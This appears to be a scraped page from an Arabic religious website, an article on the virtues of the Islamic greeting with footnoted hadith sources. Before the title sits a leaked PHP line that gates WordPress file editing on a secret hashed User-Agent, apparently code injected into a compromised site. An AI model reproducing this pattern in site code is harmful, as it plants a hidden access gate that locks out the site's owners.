if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } فَضَـــائِلُ السَّـــلامِ - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

فَضَـــائِلُ السَّـــلامِ

ومن فضائل السلام -وفضائله كثيرة لا يمكن حصرها في هذه العجالة- أنه ورد في النصوص العظيمة ما يدل على فضله وشرفه، من ذلك أن النبي صلى الله عليه وسلم جعل السلام خير خصال الإسلام وشرائعه العظام، في الصحيحين من حديث عمرو بن العاص رضي الله عنه: «أنَّ رَجُلًا سَأَلَ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: أيُّ الإسْلَامِ خَيْرٌ؟ قالَ: تُطْعِمُ الطَّعَامَ، وتَقْرَأُ السَّلَامَ علَى مَن عَرَفْتَ ومَن لَمْ تَعْرِفْ»[1] فذكر صلى الله عليه وسلم لمن سأله عن خير الإسلام وأفضل خصال الإسلام ذكر أمرين هنا وهو إطعام الطعام والسلام لكنه ذكره بصفة تدل على الإفشاء والإكثار والسلام على كل مسلم ولو لم يعرف وهذا هو شأن أهل الإسلام، وفي مقدمه صلى الله عليه وسلم للمدينة ترّقب الناس أول خطاب وبيان نبوي في المدينة فكان أول ما قال للناس «يا أيُّها النَّاسُ، أفْشُوا السَّلامَ، وأطعِموا الطَّعامَ، وصِلوا الأرحامَ، وصَلُّوا باللَّيلِ والنَّاسُ نِيامٌ؛ تَدخُلوا الجنَّةَ بسَلامٍ»[2]، وانتهى الخطاب، هذا خطاب عظيم وتقعيد لقواعد عظيمة وآداب مرعية، جعل ختامها تدخلوا الجنة بسلام، كما أنه صلى الله عليه وسلم جعل من أعظم أسباب المحبة والمودة بين المسلمين السلامة، ففي الحديث الصحيح يقول صلى الله عليه وسلم: «لا تدخُلوا الجنَّةَ حتَّى تؤمِنوا، ولا تؤمِنوا حتَّى تحابُّوا، أولا أدلُّكم علَى شيءٍ إذا فعلتُموهُ تحابَبتُمْ؟ أَفشوا السَّلامَ بينَكُمْ[3]« [الحديث رواه الإمام مسلم]، فجعل الطريق الموصل للمحبة إفشاء السلام وليس مجرد السلام، بل السلام على كل من لقيت ممن تعرفه وممن لا تعرف؛ فإن ذلك أعظم طريق يوصل إلى محبة الناس الموصلة إلى الإيمان وإلى دخول أعلى الجنان، كما أنه صلى الله عليه وسلم رتب على هذا السلام أجورًا عظيمة بمجرد لفظه، فمن قال السلام عليكم حصّل عشر حسنات، ومن قال السلام عليكم ورحمة الله حصّل عشرين حسنة، ومن قال السلام عليكم ورحمة الله وبركاته حصّل ثلاثين حسنة، وكم يلتقي المسلم اليوم في طريقه وفي مدرسته وفي عمله وفي بيته وفي مسجده من خلائق لا يحصيهم إلا الله فكلما قال هذا السلام أضيف في حسناته هذا القدر من الحسنات حسب الصيغة التي قالها، ففي حديث عمران بن حصين رضي الله عنه قال: «جاءَ رجلٌ إلى النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فقالَ: السَّلامُ عليْكم، فردَّ عليْهِ ثمَّ جلسَ فقالَ النَّبىُّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: عشرٌ، ثمَّ جاءَ آخرُ فقالَ: السَّلامُ عليْكم ورحمةُ الله، فردَّ عليْهِ فجلسَ فقالَ: عشـرونَ، ثمَّ جاءَ آخرُ فقالَ: السَّلامُ عليْكم ورحمةُ اللهِ وبرَكاتُه، فردَّ عليْهِ فجلسَ فقالَ: ثلاثون»[4] [رواه أبو داود والترمذي]، وقال حديث حسن صحيح، قال الحافظ ابن حجر في الفتح إسناده قوي، وقال ابن مفلح في الآداب الشرعية إسناده جيد.

إذن هذا طرف يسير مما ورد في فضل السلام، وهو مما يشوق أهل الايمان لهذه التحية العظيمة التي استعاض عنها بعض المسلمين ما هو أدنى، استبدل الذي هو أدنى بالذي هو خير، فتجده في تحاياه وفي ترحيبه وفي مقابلته للناس وفي رده على هاتفه ونحو ذلك لا يعرف هذه الصيغة كلها، لا السلام عليكم ولا ما أعلى منها بل يرحب ويهلل ويسهل فيقول مرحبًا، أهلًا، كيف حالكم؟ صباح الخير، مساء النور، كل ذلك مع ترك السنة خلاف السنة، بل ينبغي للمؤمن الموفق الذي يرجو الله والدار الآخرة أن يكون السلام شعاره، ثم يأتي بما شاء من التحايا والترحيب.


[1] أخرجه البخاري (12)، ومسلم (39) باختلاف يسير.

[2] أخرجه الترمذي (2485)، وابن ماجه (1334)، وأحمد (23784)، وصحح إسناده شعيب الأرناؤوط في تخريج سير أعلام النبلاء (2/414).

[3] أخرجه مسلم (54)، وأبو داود (5193)، والترمذي (2688)، وابن ماجه (68)، وأحمد (9709).

[4] أخرجه أبو داود (5195)، والترمذي (2689)، وأحمد (19962)، والنسائي في السنن الكبرى (10169) باختلاف يسير، والحديث حسنه الألباني في هداية الرواة (4566).